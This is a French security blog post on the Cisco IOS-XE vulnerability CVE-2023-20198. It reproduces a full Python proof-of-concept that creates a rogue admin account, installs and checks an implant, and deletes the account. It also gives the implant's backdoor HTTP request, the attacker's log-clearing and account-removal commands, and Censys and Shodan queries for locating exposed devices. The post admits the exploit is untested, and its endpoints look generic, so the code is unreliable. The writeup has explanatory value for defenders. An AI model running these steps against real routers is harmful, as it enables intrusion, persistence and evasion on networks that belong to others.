Contenu

CVE-2023-20198 Cisco IOS-XE ZeroDay - Ou comment créer son réseau de botnet ?

🧟 Cisco CVE-2023-20198 - Ou comment créer son réseau de botnet ?

Introduction

Le 16 octobre 2023, Cisco a communiqué sur une vulnérabilité critique d’élevation de privilèges via l’interface Web sous l’identifiant CVE-2023-20198 au score CVSS de 10.

Cisco affirme que la vulnérabilité est largement exploitée. La vulnérabilité permet à un attaquant non authentifié de créer un compte aux privilèges maximales. Il n’existe pas de correctif pour cette vulnérabilité pour le moment.

Détails de l’exploitation

L’exploitation est relativement simple. Il n’existe pas de PoC clef en main pour cette vulnérabilité. Cependant, un exploit est disponible sur GitHub à l’heure où cet article est rédigé (vendredi 20 octobre 2023 à 12h00). Lien : https://github.com/Tounsi007/CVE-2023-20198

Contenu du PoC :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests

# Exploit CVE-2023-20198 to create a local user account
create_user_url = "https://target.com/webui/create_user"
username = "cisco_tac_admin"
password = "P@ssw0rd"

user_payload = {
    "username": username,
    "password": password
}

response = requests.post(create_user_url, data=user_payload, verify=False)

if response.status_code == 200:
    print(f"Successfully created local user account: {username}")

# Exploit CVE-2021-1435 to install the implant
install_url = f"https://target.com/webui/cisco_service.conf"
config_content = "<insert implant configuration content here>"

config_payload = {
    "config_content": config_content
}

response = requests.post(install_url, data=config_payload, verify=False)

if response.status_code == 200:
    print("Implant installed successfully")

# Restart the web server to activate the implant
restart_url = "https://target.com/webui/restart_server"

response = requests.post(restart_url, verify=False)

if response.status_code == 200:
    print("Web server restarted successfully. Implant is active")

# Check for the presence of the implant
check_url = f"https://target.com/webui/implant_status"

response = requests.get(check_url, verify=False)

if response.status_code == 200:
    if "implant" in response.text:
        print("Implant is present")
    else:
        print("Implant is not present")

# Clean up by deleting the local user account
delete_user_url = f"https://target.com/webui/delete_user/{username}"

response = requests.delete(delete_user_url, verify=False)

if response.status_code == 200:
    print(f"Successfully deleted local user account: {username}")

Trackflaw n’est pas en mesure de le tester pour le moment. Ce PoC est à usage éducatif uniquement.

1. Création de l’administrateur

Le PoC indique cette information pour la création de l’administrateur :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Exploit CVE-2023-20198 to create a local user account
create_user_url = "https://target.com/webui/create_user"
username = "cisco_tac_admin"
password = "P@ssw0rd"

user_payload = {
    "username": username,
    "password": password
}

response = requests.post(create_user_url, data=user_payload, verify=False)

Comme indiqué par Cisco, cela semble correspondre à la création d’un administrateur de facçon non authentifié. L’attaquant ici effectue une requête POST vers la route /webui/create_user afin d’essayer de créer l’utilisateur privilégié.

2. Ajout de l’implant

Les attaquants, après avoir créée un compte administrateur, déposent un implant similaire à celui ci-dessous :

/images/cisco-cve-2023-20198/2023-10-20-13-02-31.png

Ce code agit comme une porte dérobée pour revenir plus facilement :

  1. La première condition if(params["menu"]) traite le paramètre menu dans l’url. Elle renvoie une chaîne de chiffres surement indiquant la version de la backdoor.
  2. La deuxième condition en dessous traite le paramètre logon_hash devant être égal à 1. Ce paramètre renvoie une chaîne hexadécimale de 18 caractères écrite dans l’implant.
  3. La troisième condition utilise aussi le paramètre logon_hash et vérifie que le paramètre correspond bien à une chaîne hexadécimale de 40 caractères écrite en dur dans l’implant (mot de passe). Si cette condition est validée, l’implant vérifie qu’un argument common_type=subsystem est bien présent dans l’url.

Ici l’implant est en mesure d’exécuter du code de deux manières :

  1. D’une première façon avec les privilèges systèmes actuels de l’implant avec l’argument common_type=subsystem.
  2. D’une deuxième façon avec les privilèges administrateurs 15 avec l’argument common_type=iox.

Pour résumé, l’appel à l’implant s’effectue avec la requête POST suivante :

1
2
3
4
5
6
7
POST /webui/logoutconfirm.html?logon_hash=<mot_de_passe_implant>&common_type=subsystem HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: X
Accept: */*

<commande à exécuter>

Selon plusieurs sources, l’installation de l’implant reste encore incompris. Il existe plusieurs pistes comme nottament l’utilisation de la vulnérabilité CVE-2021-1435 décrite dans le PoC.

1
2
3
4
5
6
7
8
9
# Exploit CVE-2021-1435 to install the implant
install_url = f"https://target.com/webui/cisco_service.conf"
config_content = "<insert implant configuration content here>"

config_payload = {
    "config_content": config_content
}

response = requests.post(install_url, data=config_payload, verify=False)

Cette vulnérabilité est corrigée et indépendante de la vulnérabilité CVE-2023-20198 : https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-iosxe-webcmdinjsh-UFJxTgZD.html

Il est probable que les attaquants déposent leur implant à l’aide du compte administrateur créée.

3. Redémarrage du service

Selon le PoC, il serait nécessaire de redémarrer le service pour enregistrer la configuration de l’implant.

1
2
3
4
# Restart the web server to activate the implant
restart_url = "https://target.com/webui/restart_server"

response = requests.post(restart_url, verify=False)

4. Vérifier la présence de l’implant

Une fois l’implant déposé, vous pouvez vérifier son exécution. Changez la route en fonction de la configuration de l’implant (ci-dessous exemple de l’implant récupéré).

1
2
3
4
# Check for the presence of the implant
check_url = f"https://target.com/webui/logoutconfirm.html?logon_hash=1"

response = requests.get(check_url, verify=False)

5. Suppression des traces

Après avoir déposé l’implant, les attaquants suppriment leurs traces avec les commandes suivantes :

1
2
3
4
clear logging 
no username cisco_support 
no username cisco_tac_admin 
no username cisco_sys_manager

Il est aussi possible de le faire à travers l’interface web :

1
2
3
4
# Clean up by deleting the local user account
delete_user_url = f"https://target.com/webui/delete_user/{username}"

response = requests.delete(delete_user_url, verify=False)

Localisation des hôtes vulnérables

Il est possible d’effectuer une recherche sur le moteur Censy avec le mot clef services.labels=cisco-xe-webui pour localiser des appareils fonctionant avec XE Webui.

/images/cisco-cve-2023-20198/2023-10-20_13-41.png

Protection

La recommandation faite par Cisco est de désactiver la fonction de serveur HTTP/S sur les systèmes accessibles sur Internet. Il n’existe pour le moment pas de correctifs.

Selon Shodan, il y aurait plus de 140 000 appareils vulnérables dans le monde (recherche : http.html_hash:1076109428)

/images/cisco-cve-2023-20198/2023-10-20-13-45-18.png

Résumé

Voici un résumé de l’exploitation à travers une animation :

/images/cisco-cve-2023-20198/Exploitation CVE-2023-20198.gif

Sources